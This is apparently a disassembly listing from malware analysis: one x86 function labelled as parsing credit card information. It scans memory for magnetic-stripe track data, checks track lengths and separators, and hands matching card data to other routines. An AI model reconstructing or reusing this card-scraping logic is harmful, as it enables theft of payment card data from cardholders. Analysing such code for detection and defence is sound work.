Function at 0x404160
Capabilities:
Parse credit card information

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x114
mov dword [ebp + 0x54], 0
cmp dword [ebp + 0x7c], 0
jbe 0x404a72
mov eax, dword [ebp + 0x78]
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
test edx, edx
je 0x404a49
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x7f
jge 0x404a49
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x20
jle 0x404a49
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
cmp edx, 0x25
jne 0x404471
cmp dword [ebp + 0x7c], 0x4f
jbe 0x404471
mov dword [ebp + 0x68], 0
mov eax, dword [ebp + 0x6c]
add eax, 1
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
mov dword [ebp + 0x5c], ecx
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
test eax, eax
jne 0x404218
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x42
je 0x404206
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
cmp edx, 0x62
jne 0x404218
mov dword [ebp + 0x60], 1
mov eax, dword [ebp + 0x6c]
add eax, 2
mov dword [ebp + 0x6c], eax
jmp 0x404257
mov ecx, dword [ebp + 0x5c]
movsx edx, byte [ecx]
cmp edx, 0x42
je 0x40422e
mov eax, dword [ebp + 0x5c]
movsx ecx, byte [eax]
cmp ecx, 0x62
jne 0x404240
mov dword [ebp + 0x60], 0
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
jmp 0x404257
mov eax, dword [ebp + 0x78]
add eax, 1
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, 1
mov dword [ebp + 0x7c], ecx
jmp 0x404172
mov edx, dword [ebp + 0x68]
add edx, 2
mov dword [ebp + 0x68], edx
mov dword [ebp + 0x58], 1
mov eax, dword [ebp + 0x58]
push eax
mov ecx, dword [ebp + 0x60]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
call fcn.00405440
add esp, 0xc
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404471
push 0x14
push 0
lea eax, [ebp + 0x40]
push eax
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 1
jne 0x4042bc
push 0
push 0
push 0x14
lea ecx, [ebp + 0x40]
push ecx
mov edx, dword [ebp + 0x64]
push edx
mov eax, dword [ebp + 0x6c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x4042d0
mov ecx, dword [ebp + 0x64]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
lea eax, [ebp + 0x40]
push eax
call fcn.00401980
add esp, 0xc
mov ecx, dword [ebp + 0x68]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x68], ecx
mov edx, dword [ebp + 0x64]
push edx
lea eax, [ebp + 0x40]
push eax
call fcn.00405320
add esp, 8
cmp eax, 1
jne 0x404471
cmp dword [ebp + 0x60], 0
jne 0x404303
mov ecx, dword [ebp + 0x6c]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], ecx
jmp 0x40430f
mov edx, dword [ebp + 0x64]
mov eax, dword [ebp + 0x6c]
lea ecx, [eax + edx*2]
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x5e
jne 0x404471
mov ecx, dword [ebp + 0x60]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
call fcn.00405520
add esp, 8
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404471
cmp dword [ebp + 0x60], 0
jne 0x40434c
mov eax, dword [ebp + 0x6c]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x6c], eax
jmp 0x404358
mov ecx, dword [ebp + 0x64]
mov edx, dword [ebp + 0x6c]
lea eax, [edx + ecx*2]
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x68]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x68], ecx
mov edx, 0x4f
sub edx, dword [ebp + 0x68]
push edx
mov eax, dword [ebp + 0x58]
push eax
mov ecx, dword [ebp + 0x60]
push ecx
mov edx, dword [ebp + 0x6c]
push edx
call fcn.00405590
add esp, 0x10
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404471
cmp dword [ebp + 0x60], 0
jne 0x40439c
mov eax, dword [ebp + 0x6c]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x6c], eax
jmp 0x4043a8
mov ecx, dword [ebp + 0x64]
mov edx, dword [ebp + 0x6c]
lea eax, [edx + ecx*2]
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x68]
add ecx, dword [ebp + 0x64]
mov dword [ebp + 0x68], ecx
mov edx, dword [ebp + 0x5c]
sub edx, 1
mov dword [ebp + 0x5c], edx
push 0x4f
push 0
lea eax, [ebp - 0x38]
push eax
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 0
jne 0x4043e6
mov ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x5c]
push edx
lea eax, [ebp - 0x38]
push eax
call fcn.00401980
add esp, 0xc
jmp 0x404402
push 0
push 0
push 0x4f
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [ebp + 0x68]
push edx
mov eax, dword [ebp + 0x5c]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ecx, [ebp - 0x38]
push ecx
mov edx, dword [0x4072a0]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x404471
mov eax, dword [ebp + 0x68]
push eax
lea ecx, [ebp - 0x38]
push ecx
call fcn.00405190
add esp, 8
mov edx, dword [ebp + 0x68]
push edx
lea eax, [ebp - 0x38]
push eax
call fcn.00405120
add esp, 8
cmp dword [ebp + 0x60], 0
jne 0x404451
mov ecx, dword [ebp + 0x78]
add ecx, dword [ebp + 0x68]
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, dword [ebp + 0x68]
mov dword [ebp + 0x7c], edx
jmp 0x40446a
mov eax, dword [ebp + 0x68]
mov ecx, dword [ebp + 0x78]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x78], edx
mov eax, dword [ebp + 0x68]
shl eax, 1
mov ecx, dword [ebp + 0x7c]
sub ecx, eax
mov dword [ebp + 0x7c], ecx
mov dword [ebp + 0x54], 1
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x3b
jne 0x404709
cmp dword [ebp + 0x7c], 0x28
jbe 0x404709
mov dword [ebp + 0x68], 0
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
mov dword [ebp + 0x5c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x4044d0
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movzx ecx, byte [eax]
push ecx
call fcn.00405410
add esp, 4
cmp eax, 1
jne 0x4044d0
mov dword [ebp + 0x60], 1
jmp 0x404504
mov edx, dword [ebp + 0x5c]
movzx eax, byte [edx]
push eax
call fcn.00405410
add esp, 4
cmp eax, 1
jne 0x4044ed
mov dword [ebp + 0x60], 0
jmp 0x404504
mov ecx, dword [ebp + 0x78]
add ecx, 1
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, 1
mov dword [ebp + 0x7c], edx
jmp 0x404172
mov eax, dword [ebp + 0x68]
add eax, 1
mov dword [ebp + 0x68], eax
mov dword [ebp + 0x58], 1
mov ecx, dword [ebp + 0x58]
push ecx
mov edx, dword [ebp + 0x60]
push edx
mov eax, dword [ebp + 0x6c]
push eax
call fcn.00405440
add esp, 0xc
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404709
push 0x14
push 0
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 1
jne 0x404569
push 0
push 0
push 0x14
lea edx, [ebp + 0x40]
push edx
mov eax, dword [ebp + 0x64]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x40457d
mov edx, dword [ebp + 0x64]
push edx
mov eax, dword [ebp + 0x6c]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401980
add esp, 0xc
mov edx, dword [ebp + 0x68]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x68], edx
mov eax, dword [ebp + 0x64]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00405320
add esp, 8
cmp eax, 1
jne 0x404709
cmp dword [ebp + 0x60], 0
jne 0x4045b0
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x4045bc
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x3d
je 0x4045d6
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x44
jne 0x404709
cmp dword [ebp + 0x60], 0
jne 0x4045e7
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
jmp 0x4045f0
mov edx, dword [ebp + 0x6c]
add edx, 2
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, 1
mov dword [ebp + 0x68], eax
mov ecx, 0x28
sub ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x58]
push edx
mov eax, dword [ebp + 0x60]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
call fcn.00405590
add esp, 0x10
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404709
cmp dword [ebp + 0x60], 0
jne 0x404634
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x404640
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x68], eax
mov ecx, dword [ebp + 0x5c]
sub ecx, 1
mov dword [ebp + 0x5c], ecx
push 0x28
push 0
lea edx, [ebp + 0x18]
push edx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 0
jne 0x40467e
mov eax, dword [ebp + 0x68]
push eax
mov ecx, dword [ebp + 0x5c]
push ecx
lea edx, [ebp + 0x18]
push edx
call fcn.00401980
add esp, 0xc
jmp 0x40469a
push 0
push 0
push 0x28
lea eax, [ebp + 0x18]
push eax
mov ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x5c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp + 0x18]
push eax
mov ecx, dword [0x4072a0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x404709
mov edx, dword [ebp + 0x68]
push edx
lea eax, [ebp + 0x18]
push eax
call fcn.00405190
add esp, 8
mov ecx, dword [ebp + 0x68]
push ecx
lea edx, [ebp + 0x18]
push edx
call fcn.00405120
add esp, 8
cmp dword [ebp + 0x60], 0
jne 0x4046e9
mov eax, dword [ebp + 0x78]
add eax, dword [ebp + 0x68]
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, dword [ebp + 0x68]
mov dword [ebp + 0x7c], ecx
jmp 0x404702
mov edx, dword [ebp + 0x68]
mov eax, dword [ebp + 0x78]
lea ecx, [eax + edx*2]
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x68]
shl edx, 1
mov eax, dword [ebp + 0x7c]
sub eax, edx
mov dword [ebp + 0x7c], eax
mov dword [ebp + 0x54], 1
mov ecx, dword [ebp + 0x6c]
movsx edx, byte [ecx]
cmp edx, 0x2b
je 0x40472e
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x21
je 0x40472e
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x23
jne 0x404a49
cmp dword [ebp + 0x7c], 0x6b
jbe 0x404a49
mov dword [ebp + 0x68], 0
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
mov edx, dword [ebp + 0x6c]
mov dword [ebp + 0x5c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
test ecx, ecx
jne 0x40477e
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movzx ecx, byte [eax]
push ecx
call fcn.00405410
add esp, 4
cmp eax, 1
jne 0x40477e
mov dword [ebp + 0x60], 1
jmp 0x4047b2
mov edx, dword [ebp + 0x5c]
movzx eax, byte [edx]
push eax
call fcn.00405410
add esp, 4
cmp eax, 1
jne 0x40479b
mov dword [ebp + 0x60], 0
jmp 0x4047b2
mov ecx, dword [ebp + 0x78]
add ecx, 1
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, 1
mov dword [ebp + 0x7c], edx
jmp 0x404172
cmp dword [ebp + 0x60], 1
jne 0x4047f6
mov eax, dword [ebp + 0x6c]
add eax, 2
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
movzx edx, byte [ecx]
push edx
call fcn.00405410
add esp, 4
test eax, eax
jne 0x4047eb
mov eax, dword [ebp + 0x78]
add eax, 1
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, 1
mov dword [ebp + 0x7c], ecx
jmp 0x404172
mov edx, dword [ebp + 0x6c]
add edx, 2
mov dword [ebp + 0x6c], edx
jmp 0x404832
mov eax, dword [ebp + 0x6c]
add eax, 1
mov dword [ebp + 0x6c], eax
mov ecx, dword [ebp + 0x6c]
movzx edx, byte [ecx]
push edx
call fcn.00405410
add esp, 4
test eax, eax
jne 0x404829
mov eax, dword [ebp + 0x78]
add eax, 1
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, 1
mov dword [ebp + 0x7c], ecx
jmp 0x404172
mov edx, dword [ebp + 0x6c]
add edx, 1
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, 3
mov dword [ebp + 0x68], eax
mov dword [ebp + 0x58], 1
mov ecx, dword [ebp + 0x58]
push ecx
mov edx, dword [ebp + 0x60]
push edx
mov eax, dword [ebp + 0x6c]
push eax
call fcn.00405440
add esp, 0xc
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404a49
push 0x14
push 0
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 1
jne 0x404897
push 0
push 0
push 0x14
lea edx, [ebp + 0x40]
push edx
mov eax, dword [ebp + 0x64]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
jmp 0x4048ab
mov edx, dword [ebp + 0x64]
push edx
mov eax, dword [ebp + 0x6c]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00401980
add esp, 0xc
mov edx, dword [ebp + 0x68]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x68], edx
mov eax, dword [ebp + 0x64]
push eax
lea ecx, [ebp + 0x40]
push ecx
call fcn.00405320
add esp, 8
cmp eax, 1
jne 0x404a49
cmp dword [ebp + 0x60], 0
jne 0x4048de
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x4048ea
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x6c]
movsx ecx, byte [eax]
cmp ecx, 0x3d
je 0x404904
mov edx, dword [ebp + 0x6c]
movsx eax, byte [edx]
cmp eax, 0x44
jne 0x404a49
cmp dword [ebp + 0x60], 0
jne 0x404915
mov ecx, dword [ebp + 0x6c]
add ecx, 1
mov dword [ebp + 0x6c], ecx
jmp 0x40491e
mov edx, dword [ebp + 0x6c]
add edx, 2
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, 1
mov dword [ebp + 0x68], eax
mov ecx, 0x28
sub ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x58]
push edx
mov eax, dword [ebp + 0x60]
push eax
mov ecx, dword [ebp + 0x6c]
push ecx
call fcn.00405590
add esp, 0x10
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0xffffffff
je 0x404a49
cmp dword [ebp + 0x60], 0
jne 0x404962
mov edx, dword [ebp + 0x6c]
add edx, dword [ebp + 0x64]
mov dword [ebp + 0x6c], edx
jmp 0x40496e
mov eax, dword [ebp + 0x64]
mov ecx, dword [ebp + 0x6c]
lea edx, [ecx + eax*2]
mov dword [ebp + 0x6c], edx
mov eax, dword [ebp + 0x68]
add eax, dword [ebp + 0x64]
mov dword [ebp + 0x68], eax
mov ecx, dword [ebp + 0x5c]
sub ecx, 1
mov dword [ebp + 0x5c], ecx
push 0x6b
push 0
lea edx, [ebp - 0xa4]
push edx
call fcn.00401940
add esp, 0xc
cmp dword [ebp + 0x60], 0
jne 0x4049b2
mov eax, dword [ebp + 0x68]
push eax
mov ecx, dword [ebp + 0x5c]
push ecx
lea edx, [ebp - 0xa4]
push edx
call fcn.00401980
add esp, 0xc
jmp 0x4049d1
push 0
push 0
push 0x6b
lea eax, [ebp - 0xa4]
push eax
mov ecx, dword [ebp + 0x68]
push ecx
mov edx, dword [ebp + 0x5c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea eax, [ebp - 0xa4]
push eax
mov ecx, dword [0x4072a0]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x404a49
mov edx, dword [ebp + 0x68]
push edx
lea eax, [ebp - 0xa4]
push eax
call fcn.00405190
add esp, 8
mov ecx, dword [ebp + 0x68]
push ecx
lea edx, [ebp - 0xa4]
push edx
call fcn.00405120
add esp, 8
cmp dword [ebp + 0x60], 0
jne 0x404a29
mov eax, dword [ebp + 0x78]
add eax, dword [ebp + 0x68]
mov dword [ebp + 0x78], eax
mov ecx, dword [ebp + 0x7c]
sub ecx, dword [ebp + 0x68]
mov dword [ebp + 0x7c], ecx
jmp 0x404a42
mov edx, dword [ebp + 0x68]
mov eax, dword [ebp + 0x78]
lea ecx, [eax + edx*2]
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x68]
shl edx, 1
mov eax, dword [ebp + 0x7c]
sub eax, edx
mov dword [ebp + 0x7c], eax
mov dword [ebp + 0x54], 1
cmp dword [ebp + 0x54], 1
jne 0x404a5b
mov dword [ebp + 0x54], 0
jmp 0x40417c
mov ecx, dword [ebp + 0x78]
add ecx, 1
mov dword [ebp + 0x78], ecx
mov edx, dword [ebp + 0x7c]
sub edx, 1
mov dword [ebp + 0x7c], edx
jmp 0x404172
add ebp, 0x70
mov esp, ebp
pop ebp
ret